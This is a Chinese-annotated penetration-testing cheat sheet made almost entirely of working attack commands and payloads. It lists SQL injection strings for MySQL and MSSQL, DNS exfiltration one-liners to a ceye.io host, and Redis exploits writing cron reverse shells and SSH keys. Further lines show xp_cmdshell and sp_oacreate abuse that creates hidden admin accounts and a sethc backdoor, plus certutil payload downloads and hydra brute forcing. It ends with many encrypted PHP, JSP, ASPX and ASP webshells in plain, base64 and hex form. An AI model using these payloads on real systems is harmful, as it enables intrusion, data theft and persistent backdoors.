grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto

apktool d app_name.apk
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/

grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt

/v2/api-docs
/swagger-ui.html
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

<?php fputs(fopen("panda.php","w"),'<? @eval($_POST[PANDA]);?>');?>

http://192.168.136.128:8080/lfi.php?file=/etc/passwd

python2 exp.py 目标ip 8080 100

/var/lib/php/sess_[PHPSESSID]/tmp/sess_[PHPSESSID]

index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf

ssh '<?php phpinfo();?>'@192.168.136.143

'

"

')

'')

--+

# 在url里面需要编码为 %23

判断字段
?id=1 and 1=1 order by 1 

回显点判断

?id=1 and 1=2 union select 1,2 

当前库

?id=1 and 1=2 union select 1,database() 
当前用户

?id=1 and 1=2 union select 1,user() 

当前版本

 ?id=1 and 1=2 union select 1,version()

爆表

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

当前表字段名

用limit进行查询

 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 

获取数据

?id=1 and 1=2 union select 1,password from admin  limit 0,1

爆库：

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

爆表：

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段：

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据：

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +

select * from users where id =1 and if((substr((select user()),1,1)='r'),sleep(5),1);

 select * from users where id =1 and if((substr((select user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1);

http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +

http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

1.

http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),0) -- +


2.

mysql> select * from users where id =1 and 0=strcmp((substr((select user()),1,1)),'o');
Empty set (0.00 sec)

mysql> select * from users where id =1 and 0=strcmp((substr((select user()),2,1)),'o');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

and @@version>~1

and (user|1)>-1

and (db_name()|1)>.1

http://192.168.130.137/1.aspx?id=1 having 1=1

http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1

echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=<temp2&&nslookup %ADDR%.is1lv6.ceye.io

for /f "delims=^= tokens=1,*" %i in (helo.txt) do (echo %i>>text3.txt)

echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR=<temp3&ping %ADDR%.is1lv6.ceye.io

where /R C: login.* > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin }

ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io

pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io

var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done

      set testkey "Hello World"  # 设置键testkey的值为字符串Hello World
      get testkey                       # 获取键testkey的内容
      SET score 99                      # 设置键score的值为99
      INCR score                        # 使用INCR命令将score的值增加1
      GET score                         # 获取键score的内容
      keys *                            # 列出当前数据库中所有的键
      get anotherkey                    # 获取一个不存在的键的值
      config set dir /home/test         # 设置工作目录,Redis产生的备份文件将放在这个目录下
      config set dbfilename redis.rdb   # 设置备份文件名
      config get dir                    # 检查工作目录是否设置成功
      config get dbfilename             # 检查备份文件名是否设置成功
      save                              # 进行一次备份操作
      flushall 删除所有数据
      del key 删除键为key的数据

>ssh-keygen -t rsa
>(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
>cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
>redis-cli -h 127.0.0.1
6379> config set dir /root/.ssh/
6379> config set dbfilename "authorized_keys"
6379> save

#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron/'
#设置备份文件名为root，以root身份执行计划任务
config set dbfilename 'root'
#删除所有数据库的所有key
flushall
#设置写入的内容，在计划任务前后加入换行以确保写入的计划任务可以被正常解析，此处可以直接调用lua语句。
eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/10.10.19.29/8080 0>&1'
#保存
save
#删除新增的key
del cron
#恢复dir和dbfilename
config set dir '***'
config set dbfilename '***'

redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
redis 192.168.242.134:6379> config set dir /var/spool/cron/
redis 192.168.242.134:6379> config set dbfilename root
redis 192.168.242.134:6379> save

redis-cli -h 192.168.1.154
config set dir /var/www/html 
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n" 
config set dbfilename webshell.php 
save

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so

https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"

https://github.com/n0b0dyCN/redis-rogue-server
需要python3.6以上
编译
>cd RedisModulesSDK/exp
>make
执行
>./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108

use mysql;  
update user set host = '%' where user = 'root';  
FLUSH PRIVILEGES ;  
select host, user from user;

show variables like '%secure%'    
 

RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement  
 

select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';  
 

select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';  
 

Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES('<?php eval($_POST[xxx]) ?>');
Select cmd from temp into out file '/var/www/xx.php';
Drop TABLE IF EXISTS temp;  
 

mysql -u user -p passwd -e "select '' into outfile '/var/www/xxx.php'"

set global general_log=on;  
set global general_log_file='/var/www/1.php';  
select '<?php eval($_POST[safe6]) ?>';

select '<?php file_put_contents("abab.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/wamp/www/abb.php';

create table a (v text);
load data infile 'file_name' into table table_name fields terminated by '分隔符'  
 

load data infile 'C:/phpstudy/MySQL/test.txt' into table a fields terminated by ',';

SELECT * FROM a

select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib::$INDEX\_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib\\\plugin::$INDEX\_ALLOCATION'; //利用NTFS ADS创建plugin目录

create function sys_eval returns string soname 'SGJECYG.dll';

select sys_eval('whoami');

select * from mysql.func where name = 'sys_eval';

drop function sys_eval;

1，开始菜单当前用户启动文件夹--C:\\Users\\用户名\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
2，开始菜单所有用户启动文件夹--C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp
3，注册表当前用户开机启动项目录--HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
4，注册表所有用户开机启动项目录--HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

create table a (cmd text);//创建表
insert into a values ("set wshshell=createobject(""wscript.shell"") " );//写数据到表
insert into a values ("a=wshshell.run(""cmd.exe /c net user aabbcc 123456 /add"",0) " );
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators aabbcc/add"",0) " );
select * from a into outfile "C:\\\Documents andSettings\\\All Users\\\「开始」菜单\\\程序\\\启动\\\a.vbs";//导出vbs

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;  //打开xp_cmdshell扩展
RECONFIGURE;--

C:\Users\Y4er>for /r e:\ %i in (1*.php) do @echo %i
e:\code\php\1.php
C:\Users\Y4er>

http://192.168.130.137/1.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));

http://192.168.130.137/1.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);

3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

1. alter database 库名 set RECOVERY FULL 

2. create table cmd (a image) 

3. backup log 库名 to disk = 'c:\xxx' with init 

4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 

5. backup log 库名 to disk = 'c:\xxx\2.asp'

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

wscript.shell执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'



Shell.Application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';

declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

declare @sp_passwordxieo int, @f int, @t int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out;
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'c:\www\1.bat', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL,'@echo off';
exec @ret = sp_oamethod @f, 'writeline', NULL,'start cmd /k "cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe"';


declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\1.bat'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\file.exe'

1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

3. Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user itpro gmasfm /add )');

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

sqlmap -u “http://www.vuln.cn/post.php?id=1” --proxy “http://127.0.0.1:1080″

sqlmap -u “http://www.vuln.cn/post.php?id=1”

sqlmap -u “http://www.vuln.cn” –cookie “id=11” --level 2

sqlmap -r “c:\tools\request.txt” 

sqlmap -u "http://www.vuln.cn/post.php?id=1" --method POST --data "id=1"

http://www.xxxx.com/product/detail/id/3-1.html

sqlmap.py -u www.xxxx.com/product/detail/id/3*.html --dbms=mysql -v 3 

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql  --dbs

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql  -D test --tables

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql  -D test -T admin –-columns

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql -D test -T admin -C “username,password” --dump

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql --is-dba

sqlmap -u “http://www.vuln.cn/post.php?id=1” --sql-shell

sqlmap -r “c:\tools\request.txt” –dbms mysql -D test –search -C admin,password

sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-read="e:\www\as\config.php"

$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

$ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v

$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords

airodump-ng -w tplink -c 11 wlan0mon   # -w 参数指定生成的文件名  -c 指定信道 

参数：
-l 指定的用户名 -L 用户名字典
-p 指定密码 -P 密码字典
-s 指定端口 
-o 输出文件
-t 任务数默认16
-f 爆破成功一个就停止
-v 报错日志详细 -V 攻击日志
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV
>hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10

参数：
-h 目标名或IP  -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
>medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
>medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql

echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php

echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php

set /p=要写的内容<nul > C:\11.txt
echo 要写的内容 > C:\11.txt

echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp

echo ^<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"^>^<jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/^>^<jsp:declaration^> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^</jsp:declaration^>^<jsp:scriptlet^>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^</jsp:scriptlet^>^</jsp:root^> > 111.jspx

echo ^<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl'))^{$t="base64_"."decode";$post=$t($post."");for($i=0;$i^<strlen($post);$i++) ^{$post[$i] = $post[$i]^^$key[$i+1^&15]; ^}^}else^{$post=openssl_decrypt($post, "AES128", $key);^}$arr=explode('^|',$post);$func=$arr[0];$params=$arr[1];class C^{public function __invoke($p) ^{eval($p."");^}^}@call_user_func(new C(),$params);?^> > 111.php

echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp

echo ^<%@ Page Language="C#" %^>^<%@Import Namespace="System.Reflection"%^>^<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%^> > 111.aspx

echo ^<% >> 111.asp&echo Response.CharSet = "UTF-8" >> 111.asp&echo k="e45e329feb5d925b" >> 111.asp&echo Session("k")=k >> 111.asp&echo size=Request.TotalBytes >> 111.asp&echo content=Request.BinaryRead(size) >> 111.asp&echo For i=1 To size >> 111.asp&echo result=result^&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) >> 111.asp&echo Next >> 111.asp&echo execute(result) >> 111.asp&echo %^> >> 111.asp

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= > 111.txt

certutil -f -decode 111.txt C:\\111.jsp

echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e > 111.txt

certutil -decodehex 111.txt C:\\111.jsp

echo '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>' > 111.jsp

echo '<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>' > 111.jspx

echo -e '<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION[\047k\047]=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded(\047openssl\047)){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode(\047|\047,$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?> ' > 111.php

echo '<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>' > 111.aspx

